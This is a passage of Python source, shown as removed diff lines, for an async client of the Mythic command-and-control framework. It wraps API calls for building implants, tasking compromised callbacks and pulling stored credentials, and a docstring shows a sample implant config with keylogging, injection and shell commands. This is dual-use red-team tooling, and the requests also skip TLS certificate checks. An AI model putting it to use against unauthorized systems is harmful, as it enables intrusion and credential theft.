- def response_code(self, response_code):
- self.__response_code = response_code
-
- @status.setter
- def status(self, status):
- self.__status = status
-
- @raw_response.setter
- def raw_response(self, raw_response):
- self.__raw_response = raw_response
-
-
-class Mythic:
- def __init__(
- self,
- username: str = None,
- password: str = None,
- apitoken: Union[APIToken, str] = None,
- access_token: str = None,
- refresh_token: str = None,
- server_ip: str = None,
- ssl: bool = False,
- server_port: str = None,
- server_api_version: int = 1.4,
- operator: Operator = None,
- global_timeout: int = None,
- ):
- self._username = username
- self._password = password
- if isinstance(apitoken, APIToken) or apitoken is None:
- self._apitoken = apitoken
- else:
- self._apitoken = APIToken(token_value=apitoken)
- self._access_token = access_token
- self._refresh_token = refresh_token
- self._server_ip = server_ip
- self._server_port = server_port
- self._server_api_version = server_api_version
- self._operator = operator
- self._ssl = ssl
- self._http = "http://" if not ssl else "https://"
- self._ws = "ws://" if not ssl else "wss://"
- self._global_timeout = global_timeout if global_timeout is not None else -1
-
- def to_json(self):
- r = {}
- for k in vars(self):
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(getattr(self, k))
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- # ======== GETTING INTERNAL VALUES ==================
- @property
- def username(self):
- return self._username
-
- @property
- def password(self):
- return self._password
-
- @property
- def apitoken(self):
- return self._apitoken
-
- @property
- def access_token(self):
- return self._access_token
-
- @property
- def refresh_token(self):
- return self._refresh_token
-
- @property
- def server_ip(self):
- return self._server_ip
-
- @property
- def server_port(self):
- return self._server_port
-
- @property
- def operator(self):
- return self._operator
-
- @property
- def server_api_version(self):
- return self._server_api_version
-
- @property
- def ssl(self):
- return self._ssl
-
- @property
- def global_timeout(self):
- return self._global_timeout
-
- # ========== SETTING INTERNAL VALUES ===============
- @username.setter
- def username(self, username=None):
- self._username = username
-
- @password.setter
- def password(self, password=None):
- self._password = password
-
- @apitoken.setter
- def apitoken(self, apitoken=None):
- if isinstance(apitoken, APIToken) or apitoken is None:
- self._apitoken = apitoken
- else:
- self._apitoken = APIToken(token_value=apitoken)
-
- @access_token.setter
- def access_token(self, access_token=None):
- self._access_token = access_token
-
- @refresh_token.setter
- def refresh_token(self, refresh_token=None):
- self._refresh_token = refresh_token
-
- @server_ip.setter
- def server_ip(self, server_ip=None):
- self._server_ip = server_ip
-
- @server_port.setter
- def server_port(self, server_port=None):
- self._server_port = server_port
-
- @operator.setter
- def operator(self, operator=None):
- self._operator = operator
-
- @server_api_version.setter
- def server_api_version(self, server_api_version=None):
- self._server_api_version = server_api_version
-
- @ssl.setter
- def ssl(self, ssl=False):
- self._ssl = ssl
- self._http = "http://" if not ssl else "https://"
- self._ws = "ws://" if not ssl else "wss://"
-
- # ======== BASIC GET/POST/PUT/DELETE JSON WEB REQUESTS =========
-
- def get_headers(self) -> dict:
- if self._apitoken is not None:
- return {"apitoken": self._apitoken.token_value}
- elif self._access_token is not None:
- return {"Authorization": "Bearer {}".format(self._access_token)}
- else:
- return {}
-
- async def get_json(self, url) -> MythicResponse:
- headers = self.get_headers()
- try:
- async with aiohttp.ClientSession() as session:
- async with session.get(url, headers=headers, ssl=False) as resp:
- return MythicResponse(
- response_code=resp.status, raw_response=await resp.json()
- )
- except OSError as o:
- #print(o)
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(o)}
- )
- except Exception as e:
- #print(e)
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(e)}
- )
-
- async def get_file(self, url) -> bytes:
- headers = self.get_headers()
- async with aiohttp.ClientSession() as session:
- async with session.get(url, headers=headers, ssl=False) as resp:
- data = await resp.read()
- return data
-
-
- async def put_json(self, url, data) -> MythicResponse:
- headers = self.get_headers()
- try:
- async with aiohttp.ClientSession() as session:
- async with session.put(
- url, json=data, headers=headers, ssl=False
- ) as resp:
- return MythicResponse(
- response_code=resp.status, raw_response=await resp.json()
- )
- except OSError as o:
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(o)}
- )
- except Exception as e:
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(e)}
- )
-
- async def post_json(self, url, data) -> MythicResponse:
- headers = self.get_headers()
- try:
- async with aiohttp.ClientSession() as session:
- async with session.post(
- url, json=data, headers=headers, ssl=False
- ) as resp:
- return MythicResponse(
- response_code=resp.status, raw_response=await resp.json()
- )
- except OSError as o:
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(o)}
- )
- except Exception as e:
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(e)}
- )
-
- async def delete_json(self, url) -> MythicResponse:
- headers = self.get_headers()
- try:
- async with aiohttp.ClientSession() as session:
- async with session.delete(url, headers=headers, ssl=False) as resp:
- return MythicResponse(
- response_code=resp.status, raw_response=await resp.json()
- )
- except OSError as o:
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(o)}
- )
- except Exception as e:
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(e)}
- )
-
- # ======== WEBSOCKET BASED HELPER ENDPOINTS ========================
-
- async def print_websocket_output(self, mythic, data) -> None:
- try:
- await json_print(data)
- except Exception as e:
- raise Exception("Failed to decode json data: " + str(e))
-
- async def cast_data(self, data):
- try:
- json_data = json.loads(data)
- if "channel" in json_data:
- if "callback" in json_data["channel"]:
- del json_data["channel"]
- return Callback(**json_data)
- elif "task" in json_data["channel"]:
- del json_data["channel"]
- return Task(**json_data)
- elif "response" in json_data["channel"]:
- del json_data["channel"]
- return Response(**json_data)
- elif "historic" in json_data["channel"]:
- return EventMessage(**json_data)
- elif "event" in json_data["channel"]:
- return EventMessage(**json_data)
- elif "chunks_received" in json_data:
- return FileMeta(**json_data)
- elif "build_phase" in json_data:
- return Payload(**json_data)
- elif "agent_task_id" in json_data:
- return Task(**json_data)
- elif "response" in json_data:
- return Response(**json_data)
- elif "realm" in json_data:
- return Credential(**json_data)
- elif "level" in json_data:
- return EventMessage(**json_data)
- elif "agent_callback_id" in json_data:
- return Callback(**json_data)
- else:
- raise Exception("Unknown Mythic Object: " + json.dumps(json_data, indent=2))
- except Exception as e:
- raise Exception("Failed to decode json data: " + str(e))
-
- async def thread_output_helper(
- self, url, callback_function=None, timeout=None
- ) -> None:
- headers = self.get_headers()
- if timeout is None:
- timeout = self.global_timeout
- try:
- async with aiohttp.ClientSession() as session:
- ws = await session.ws_connect(url, headers=headers, ssl=False)
- start = time()
- while True:
- try:
- if timeout > 0 and (time() - start >= timeout):
- raise Exception(
- "Timeout in listening on websocket endpoint: {}".format(
- url
- )
- )
- msg = await ws.receive()
- if msg.data is None:
- raise Exception(
- "Got no data from websocket: {}".format(str(msg))
- )
- if msg.data != "":
- task = asyncio.get_event_loop().create_task(
- callback_function(self, await self.cast_data(msg.data))
- )
- asyncio.ensure_future(task)
- except Exception as e:
- raise Exception("Got exception reading from websocket, exiting websocket: " + str(e))
- except Exception as e:
- raise Exception("Failed to get websocket connection: " + str(e))
-
- async def stream_output(self, url, callback_function, timeout) -> asyncio.Task:
- task = asyncio.get_event_loop().create_task(
- self.thread_output_helper(url, callback_function, timeout)
- )
- asyncio.ensure_future(task)
- return task
-
- # ================== OPERATION ENDPOINTS ======================
-
- async def get_current_operation_info(self) -> MythicResponse:
- """
- Gets information about the current operation for the user
- """
- if self.operator is None:
- await self.get_self()
- url = "{}{}:{}/api/v{}/operations/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- self.operator.current_operation.id,
- )
- resp = await self.get_json(url)
- if resp.response_code == 200 and resp.status == "success":
- resp.response = Operation(**resp.response)
- return resp
-
- async def get_all_operations(self) -> MythicResponse:
- """
- Gets information about all operations your operator can see
- """
- url = "{}{}:{}/api/v{}/operations".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200 and resp.status == "success":
- operations = []
- for o in resp.response["output"]:
- operations.append(Operation(**o))
- resp.response = operations
- return resp
-
- async def get_operation(self, operation: Operation) -> MythicResponse:
- """
- Gets information about the current user
- """
- if operation.id is None:
- resp = await self.get_all_operations()
- if resp.response_code == 200 and resp.status == "success":
- for o in resp.response:
- if o.name == operation.name:
- resp.response = o
- return resp
- raise Exception("Failed to find operation: " + json.dumps(resp, indent=2, default=lambda o: o.to_json()))
- else:
- url = "{}{}:{}/api/v{}/operations/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(operation.id),
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- resp.response = Operation(**resp.response)
- return resp
-
- async def add_or_update_operator_for_operation(
- self, operation: Operation, operator: Operator
- ) -> MythicResponse:
- """
- Adds an operator to an operation or updates an operator's view/block lists in an operation
- """
- resp = await self.get_operation(operation)
- if resp.status == "success":
- operation = resp.response
- else:
- raise Exception(
- "failed to get operation in add_or_update_operator_for_operation"
- )
- data = {"add_members": [await obj_to_json(operator)]}
- if operator.base_disabled_commands is not None:
- data["add_disabled_commands"] = [await obj_to_json(operator)]
- url = "{}{}:{}/api/v{}/operations/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(operation.id),
- )
- resp = await self.put_json(url, data=data)
- if resp.response_code == 200 and resp.status == "success":
- resp.response = Operation(**resp.response)
- return resp
-
- async def remove_operator_from_operation(
- self, operation: Operation, operator: Operator
- ) -> MythicResponse:
- """
- Removes an operator from an operation
- """
- resp = await self.get_operation(operation)
- if resp.status == "success":
- operation = resp.response
- else:
- raise Exception("failed to get operation in remove_operator_for_operation")
- data = {"remove_members": [operator.username]}
- url = "{}{}:{}/api/v{}/operations/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(operation.id),
- )
- resp = await self.put_json(url, data=data)
- if resp.response_code == 200 and resp.status == "success":
- resp.response = Operation(**resp.response)
- return resp
-
- async def update_operation(self, operation: Operation) -> MythicResponse:
- """
- Updates information about an operation such as webhook and completion status
- """
- if operation.id is None:
- resp = await self.get_operation(operation)
- if resp.status == "error":
- raise Exception("Failed to get_operation in update_operation")
- operation.id = resp.response.id
- url = "{}{}:{}/api/v{}/operations/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(operation.id),
- )
- resp = await self.put_json(url, data=await obj_to_json(operation))
- if resp.response_code == 200 and resp.status == "success":
- resp.response = Operation(**resp.response)
- return resp
-
- async def create_operation(self, operation: Operation) -> MythicResponse:
- """
- Creates a new operation and specifies the admin of the operation
- """
- url = "{}{}:{}/api/v{}/operations/".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- )
- data = {
- "name": operation.name,
- "admin": operation.admin.username
- }
- resp = await self.post_json(url, data=data)
- if resp.response_code == 200 and resp.status == "success":
- resp.response = Operation(**resp.response)
- return resp
-
- # ================== OPERATOR ENDPOINTS ======================
-
- async def get_self(self) -> MythicResponse:
- """
- Gets information about the current user
- """
- url = "{}{}:{}/api/v{}/operators/me".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200 and resp.status == "success":
- self.operator = Operator(**resp.response)
- resp.response = Operator(**resp.response)
- return resp
-
- async def get_operator(self, operator: Operator) -> MythicResponse:
- """
- Gets information about the current user
- """
- if operator.id is None:
- # need to get the operator's ID first, which means we need to get all operators and match the username
- url = "{}{}:{}/api/v{}/operators/".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- if resp.status is None:
- resp.status = "success"
- for o in resp.response:
- if o["username"] == operator.username:
- resp.response = Operator(**o)
- return resp
- raise Exception("Operator not found: " + json.dumps(resp, indent=2, default=lambda o: o.to_json()))
- return resp
- else:
- url = "{}{}:{}/api/v{}/operators/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(operator.id),
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- resp.response = Operator(**resp.response)
- return resp
-
- async def create_operator(self, operator: Operator) -> MythicResponse:
- """
- Creates a new operator with the specified username and password.
- If the operator name already exists, just returns information about that operator.
- """
- url = "{}{}:{}/api/v{}/operators".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.post_json(
- url, data={"username": operator.username, "password": operator.password}
- )
- if resp.response_code == 200 and resp.status == "success":
- resp.response = Operator(**resp.response)
- elif resp.status == "error":
- resp = await self.get_operator(operator)
- if resp.status == "success":
- return resp
- raise Exception("Unable to create operator and no active operator found: " + json.dumps(resp, indent=2, default=lambda o: o.to_json()))
- return resp
-
- async def update_operator(self, operator: Operator) -> MythicResponse:
- """
- Updates information about the specified operator.
- """
- if operator.id is None:
- resp = await self.get_operator(operator)
- if resp.status == "error":
- raise Exception("Failed to get_operator in update_operator")
- operator.id = resp.response.id
- url = "{}{}:{}/api/v{}/operators/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(operator.id),
- )
- resp = await self.put_json(url, data=await obj_to_json(operator))
- if resp.response_code == 200 and resp.status == "success":
- resp.response = Operator(**resp.response)
- return resp
-
- # ================== APITOKEN ENDPOINTS ======================
-
- async def get_apitokens(self) -> MythicResponse:
- """
- Gets all of the user's API tokens in a List
- :return:
- """
- url = "{}{}:{}/api/v{}/apitokens".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200 and resp.status == "success":
- # update the response with APIToken objects instead of just a dictionary
- resp.response = [APIToken(**x) for x in resp.response["apitokens"]]
- return resp
-
- async def create_apitoken(self, token_type="User") -> MythicResponse:
- """
- Creates an API token for the user
- :param token_type:
- must be either "User" or "C2"
- :return:
- """
- # token_type should be C2 or User
- url = "{}{}:{}/api/v{}/apitokens".format(
- self._http, self._server_ip, self._server_port, self._server_api_version
- )
- resp = await self.post_json(url, data={"token_type": token_type})
- if resp.response_code == 200 and resp.status == "success":
- # update the response to be an object
- resp.response = APIToken(**resp.response)
- return resp
-
- async def remove_apitoken(self, apitoken: Union[APIToken, Dict]) -> MythicResponse:
- """
- Removes the specified API token and invalidates it going forward
- :param apitoken:
- if using the APIToken class, the following must be set:
- id
- :return:
- """
- # take in an object and parse it if the value isn't explicitly given
- url = "{}{}:{}/api/v{}/apitokens/{}".format(
- self._http,
- self._server_ip,
- self._server_port,
- self._server_api_version,
- str(apitoken.id if isinstance(apitoken, APIToken) else apitoken["id"]),
- )
- resp = await self.delete_json(url)
- if resp.response_code == 200 and resp.status == "success":
- # update the response to ben an object
- resp.response = APIToken(**resp.response)
- return resp
-
- # ================= PAYLOAD ENDPOINTS =======================
-
- async def get_payloads(self) -> MythicResponse:
- """
- Get all the payloads for the current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/payloads/current_operation".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- # update the response with APIToken objects instead of just a dictionary
- resp.response = [Payload(**x) for x in resp.response]
- return resp
-
- async def remove_payload(self, payload: Union[Payload, Dict]) -> MythicResponse:
- """
- Mark a payload as deleted in the database and remove it from disk
- Truly removing it from the database would delete any corresponding tasks/callbacks, so we don't do that
- :param payload:
- :return:
- """
- url = "{}{}:{}/api/v{}/payloads/{}".format(
- self._http,
- self._server_ip,
- self._server_port,
- self._server_api_version,
- str(payload.uuid if isinstance(payload, Payload) else payload["uuid"]),
- )
- resp = await self.delete_json(url)
- if resp.response_code == 200 and resp.status == "success":
- # update the response to ben an object
- resp.response = Payload(**resp.response)
- return resp
-
- async def create_payload(
- self,
- payload: Payload,
- all_commands: bool = None,
- timeout=None,
- wait_for_build: bool = None,
- ) -> MythicResponse:
- """
- :param payload:
-
- :return:
- {"payload_type":"poseidon",
- "c2_profiles":[
- {"c2_profile_parameters":
- {
- "AESPSK":"ElhUTijQn2klOtjlGyxs2uU6oq4PWD2Tboc5qaKzKCg=",
- "USER_AGENT":"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
- "callback_host":"https://domain.com",
- "callback_interval":"10",
- "callback_jitter":"23",
- "callback_port":"80",
- "domain_front":"",
- "encrypted_exchange_check":"T",
- "killdate":"yyyy-mm-dd"
- },
- "c2_profile":"HTTP"
- }],
- "filename":"poseidon.bin",
- "tag":"this is my tag yo for initial access",
- "commands":["cat","cd","cp","curl","download","drives","exit","getenv","getuser","jobkill","jobs","jxa","keylog","keys","kill","libinject","listtasks","ls","mkdir","mv","portscan","ps","pwd","rm","screencapture","setenv","shell","sleep","socks","sshauth","triagedirectory","unsetenv","upload","xpc"],
- "build_parameters":[
- {"name":"mode","value":"default"},
- {"name":"os","value":"darwin"}
- ]
- }"
- """
- data = {}
- data["payload_type"] = payload.payload_type.ptype
- data["filename"] = payload.filename
- data["tag"] = payload.tag
- if payload.wrapped_payload is None:
- data["c2_profiles"] = []
- for k, v in payload.c2_profiles.items():
- parameters = {i.name: i.value for i in v}
- data["c2_profiles"].append(
- {"c2_profile": k, "c2_profile_parameters": parameters}
- )
- data["build_parameters"] = []
- if all_commands:
- if payload.payload_type.id is None:
- resp = await self.get_payloadtypes()
- for p in resp.response:
- if p.ptype == payload.payload_type.ptype:
- payload.payload_type = p
- resp = await self.get_payloadtype_commands(payload.payload_type)
- payload.commands = resp.response
- if payload.commands is not None:
- data["commands"] = [c.cmd for c in payload.commands]
- else:
- data["commands"] = []
- if payload.build_parameters is not None:
- data['build_parameters'] = payload.build_parameters
- if payload.wrapped_payload is not None:
- data['wrapped_payload'] = payload.wrapped_payload.uuid
- url = "{}{}:{}/api/v{}/payloads/create".format(
- self._http, self._server_ip, self._server_port, self._server_api_version
- )
- resp = await self.post_json(url, data=data)
- if resp.response_code == 200 and resp.status == "success":
- # update the response to be an object
- # this will be a very basic payload with just the payload UUID
- resp.response = Payload(**resp.response)
- if wait_for_build is not None and wait_for_build:
- status = await self.wait_for_payload_status_change(
- resp.response.uuid, "success", timeout
- )
- if status is None:
- raise Exception(
- "Failed to get final payload status from wait_for_payload_status_change in creat_payload"
- )
- else:
- resp.response = status
- return resp
-
- async def get_one_payload_info(
- self, payload: Union[Payload, Dict]
- ) -> MythicResponse:
- """
- Get information about a specific payload
- :param payload:
- if using the Payload class, the following must be set:
- uuid
- :return:
- """
- url = "{}{}:{}/api/v{}/payloads/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(payload.uuid if isinstance(payload, Payload) else payload["uuid"]),
- )
- resp = await self.get_json(url)
- if resp.response_code == 200 and resp.status == "success":
- # update the response to ben an object
- resp.response = Payload(**resp.response)
- return resp
-
- async def download_payload(self, payload: Union[Payload, Dict]) -> bytes:
- """
- Get the final payload for a specified payload
- :param payload:
- if using Payload class, the following must be set:
- uuid
- :return:
- """
- url = "{}{}:{}/api/v{}/payloads/download/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(payload.uuid if isinstance(payload, Payload) else payload["uuid"]),
- )
- resp = await self.get_file(url)
- return resp
-
- # ================= FILE ENDPOINTS =======================
-
- async def download_file(self, file: FileMeta) -> bytes:
- """
- Download a file that is either scheduled for upload or is finished downloading
- """
- url = "{}{}:{}/api/v{}/files/download/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- file.agent_file_id,
- )
- resp = await self.get_file(url)
- return resp
-
- # ================ PAYLOAD TYPE ENDPOINTS ====================
-
- async def get_payloadtypes(self) -> MythicResponse:
- """
- Get all payload types registered with Apfell
- :return:
- """
- url = "{}{}:{}/api/v{}/payloadtypes/".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- # update the response with APIToken objects instead of just a dictionary
- tmp = []
- for x in resp.response["payloads"]:
- tmp.append(PayloadType(**x))
- for x in resp.response["wrappers"]:
- tmp.append(PayloadType(**x))
- resp.response = tmp
- return resp
-
- async def get_payloadtype(
- self, payload_type: Union[PayloadType, Dict]
- ) -> MythicResponse:
- """
- Get information about a specific payload type
- :param payload_type:
- if using PayloadType class, the following must be set:
- ptype
- :return:
- """
- url = "{}{}:{}/api/v{}/payloadtypes/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(
- payload_type.id
- if isinstance(payload_type, PayloadType)
- else payload_type["id"]
- ),
- )
- resp = await self.get_json(url)
- if resp.response_code == 200 and resp.status == "success":
- # update the response with APIToken objects instead of just a dictionary
- resp.response = PayloadType(**resp.response)
- return resp
-
- async def get_payloadtype_commands(
- self, payload_type: Union[PayloadType, Dict]
- ) -> MythicResponse:
- """
- Get the commands registered for a specific payload type
- :param payload_type:
- if using PayloadType class, the following must be set:
- ptype
- :return:
- """
- url = "{}{}:{}/api/v{}/payloadtypes/{}/commands".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(
- payload_type.id
- if isinstance(payload_type, PayloadType)
- else payload_type["id"]
- ),
- )
- resp = await self.get_json(url)
- if resp.response_code == 200 and resp.status == "success":
- resp.response = [Command(**x) for x in resp.response["commands"]]
- return resp
-
- # ================ TASKING ENDPOINTS ========================
-
- async def get_all_tasks(self) -> MythicResponse:
- """
- Get all of the tasks associated with the user's current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/tasks/".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- # update the response with APIToken objects instead of just a dictionary
- resp.response = [Task(**x) for x in resp.response]
- return resp
-
- async def get_all_tasks_for_callback(
- self, callback: Union[Callback, Dict]
- ) -> MythicResponse:
- """
- Get the tasks (no responses) for a specific callback
- :param callback:
- if using the Callback class, the following must be set:
- id
- :return:
- """
- url = "{}{}:{}/api/v{}/tasks/callback/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- callback.id if isinstance(callback, Callback) else callback["id"],
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- # update the response with APIToken objects instead of just a dictionary
- resp.response = [Task(**x) for x in resp.response]
- return resp
-
- async def get_all_responses_for_task(
- self, task: Union[Task, Dict]
- ) -> MythicResponse:
- """
- For the specified task, get all the responses
- :param task:
- if using the Task class, the following must be set:
- id
- :return:
- """
- url = "{}{}:{}/api/v{}/tasks/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- task.id if isinstance(task, Task) else task["id"],
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- # update the response with APIToken objects instead of just a dictionary
- tsk = Task(**resp.response["task"])
- tsk.callback = Callback(**resp.response["callback"])
- tsk.responses = [Response(**x) for x in resp.response["responses"]]
- resp.response = tsk
- return resp
-
- async def get_all_tasks_and_responses_grouped_by_callback(self) -> MythicResponse:
- """
- Get all tasks and responses for all callbacks in the current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/task_report_by_callback".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- # update the response with APIToken objects instead of just a dictionary
- resp.response = [Callback(**x) for x in resp.response["output"]]
- return resp
-
- async def create_task(
- self, task: Task, return_on="preprocessing", timeout=None
- ) -> MythicResponse:
- """
- Create a new task for a callback
- :param task:
- if using the Task class, the following must be set:
- callback: id
- command: cmd
- params
- :return:
- """
- url = "{}{}:{}/api/v{}/tasks/callback/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- task.callback.id if isinstance(task, Task) else task["callback"],
- )
- headers = self.get_headers()
- if task.files is None:
- data = {"command": task.command.cmd}
- if isinstance(task.params, str):
- data["params"] = task.params
- else:
- data["params"] = json.dumps(task.params)
- try:
- async with aiohttp.ClientSession() as session:
- async with session.post(
- url, json=data, headers=headers, ssl=False
- ) as resp:
- resp = MythicResponse(
- response_code=resp.status, raw_response=await resp.json()
- )
- except OSError as o:
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(o)}
- )
- except Exception as e:
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(e)}
- )
- else:
- form = aiohttp.FormData()
- data = {"command": task.command.cmd, "params": task.params}
- for f in task.files:
- data["params"][f.param_name] = "FILEUPLOAD"
- form.add_field("file" + f.param_name, f.content, filename=f.filename)
- data["params"] = json.dumps(data["params"])
- form.add_field("json", json.dumps(data))
- try:
- async with aiohttp.ClientSession() as session:
- async with session.post(
- url, data=form, headers=headers, ssl=False
- ) as resp:
- resp = MythicResponse(
- response_code=resp.status, raw_response=await resp.json()
- )
- except OSError as o:
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(o)}
- )
- except Exception as e:
- return MythicResponse(
- response_code=0, raw_response={"status": "error", "error": str(e)}
- )
- if resp.response_code == 200 and resp.status == "success":
- resp.response = Task(**resp.response)
- if return_on == "preprocessing":
- return resp.response
- else:
- # we need to loop and wait for the status of the task to change
- resp.response = await self.wait_for_task_status_change(
- resp.response.id, return_on, timeout
- )
- return resp
-
- async def set_comment_on_task(self, task:Task) -> MythicResponse:
- """
- Get all of the credentials associated with the user's current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/tasks/comments/{}".format(
- self._http, self.server_ip, self._server_port, self._server_api_version,
- task.id
- )
- if task.comment == "" or task.comment is None:
- resp = await self.delete_json(url)
- else:
- resp = await self.post_json(url, data={"comment": task.comment})
- if resp.response_code == 200:
- # update the response with APIToken objects instead of just a dictionary
- resp.response = Task(**resp.response['task'])
- return resp
-
- # ============== CREDENTIAL ENDPOINTS ========================
-
- async def get_all_credentials(self) -> MythicResponse:
- """
- Get all of the credentials associated with the user's current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/credentials/current_operation".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- # update the response with APIToken objects instead of just a dictionary
- resp.response = [Credential(**x) for x in resp.response["credentials"]]
- return resp
-
- async def create_credential(self, credential: Credential) -> MythicResponse:
- """
- Create a new credential associated with the user's current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/credentials".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.post_json(url, data=await obj_to_json(credential))
- if resp.response_code == 200:
- # update the response with APIToken objects instead of just a dictionary
- resp.response = Credential(**resp.response)
- return resp
-
- async def update_credential(self, credential: Credential) -> MythicResponse:
- """
- Create a new credential associated with the user's current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/credentials/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(credential.id),
- )
- resp = await self.put_json(url, data=await obj_to_json(credential))
- if resp.response_code == 200:
- # update the response with APIToken objects instead of just a dictionary
- resp.response = Credential(**resp.response)
- return resp
-
- # =============== DISABLED COMMANDS PROFILES ENDPOINTS =======
-
- async def get_all_disabled_commands_profiles(self) -> MythicResponse:
- """
- Get all of the disabled command profiles associated with Mythic
- :return:
- """
- url = "{}{}:{}/api/v{}/operations/disabled_commands_profiles".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200:
- profile_entries = []
- for name, ptypes in resp.response["disabled_command_profiles"].items():
- new_entry = DisabledCommandsProfile(name=name, payload_types=[])
- for ptype, commands in ptypes.items():
- payload_type = PayloadType(ptype=ptype, commands=[])
- for command in commands:
- payload_type.commands.append(
- Command(cmd=command["command"], id=command["command_id"])
- )
- new_entry.payload_types.append(payload_type)
- profile_entries.append(new_entry)
- resp.response = profile_entries
- return resp
-
- async def create_disabled_commands_profile(
- self, profile: DisabledCommandsProfile
- ) -> MythicResponse:
- """
- Create a new disabled command profiles associated with Mythic
- :return:
- """
- url = "{}{}:{}/api/v{}/operations/disabled_commands_profile".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- data = {profile.name: {}}
- for payload_type in profile.payload_types:
- data[profile.name][payload_type.ptype] = []
- for command in payload_type.commands:
- data[profile.name][payload_type.ptype].append(command.cmd)
- resp = await self.post_json(url, data=data)
- if resp.response_code == 200 and resp.status == "success":
- profile_entries = []
- for entry in resp.response["disabled_command_profile"]:
- # first check if we have a profile for this
- found = False
- for p in profile_entries:
- if p.name == entry["name"]:
- found = True
- ptype_found = False
- for payload_type in p.payload_types:
- if payload_type.ptype == entry["payload_type"]:
- ptype_found = True
- payload_type.commands.append(
- Command(
- cmd=entry["command"], id=entry["command_id"]
- )
- )
- if not ptype_found:
- p.payload_types.append(
- PayloadType(
- ptype=entry["payload_type"],
- commands=[
- Command(
- cmd=entry["command"], id=entry["command_id"]
- )
- ],
- )
- )
- if not found:
- dcp = DisabledCommandsProfile(name=entry["name"], payload_types=[])
- dcp.payload_types.append(
- PayloadType(
- ptype=entry["payload_type"],
- commands=[
- Command(cmd=entry["command"], id=entry["command_id"])
- ],
- )
- )
- profile_entries.append(dcp)
- resp.response = profile_entries
- return resp
-
- async def update_disabled_commands_profile(
- self, profile: DisabledCommandsProfile
- ) -> MythicResponse:
- """
- Create a new disabled command profiles associated with Mythic
- :return:
- """
- url = "{}{}:{}/api/v{}/operations/disabled_commands_profile".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- data = {profile.name: {}}
- for payload_type in profile.payload_types:
- data[profile.name][payload_type.ptype] = []
- for command in payload_type.commands:
- data[profile.name][payload_type.ptype].append(command.cmd)
- resp = await self.put_json(url, data=data)
- if resp.response_code == 200 and resp.status == "success":
- profile_entries = []
- for entry in resp.response["disabled_command_profile"]:
- # first check if we have a profile for this
- found = False
- for p in profile_entries:
- if p.name == entry["name"]:
- found = True
- ptype_found = False
- for payload_type in p.payload_types:
- if payload_type.ptype == entry["payload_type"]:
- ptype_found = True
- payload_type.commands.append(
- Command(
- cmd=entry["command"], id=entry["command_id"]
- )
- )
- if not ptype_found:
- p.payload_types.append(
- PayloadType(
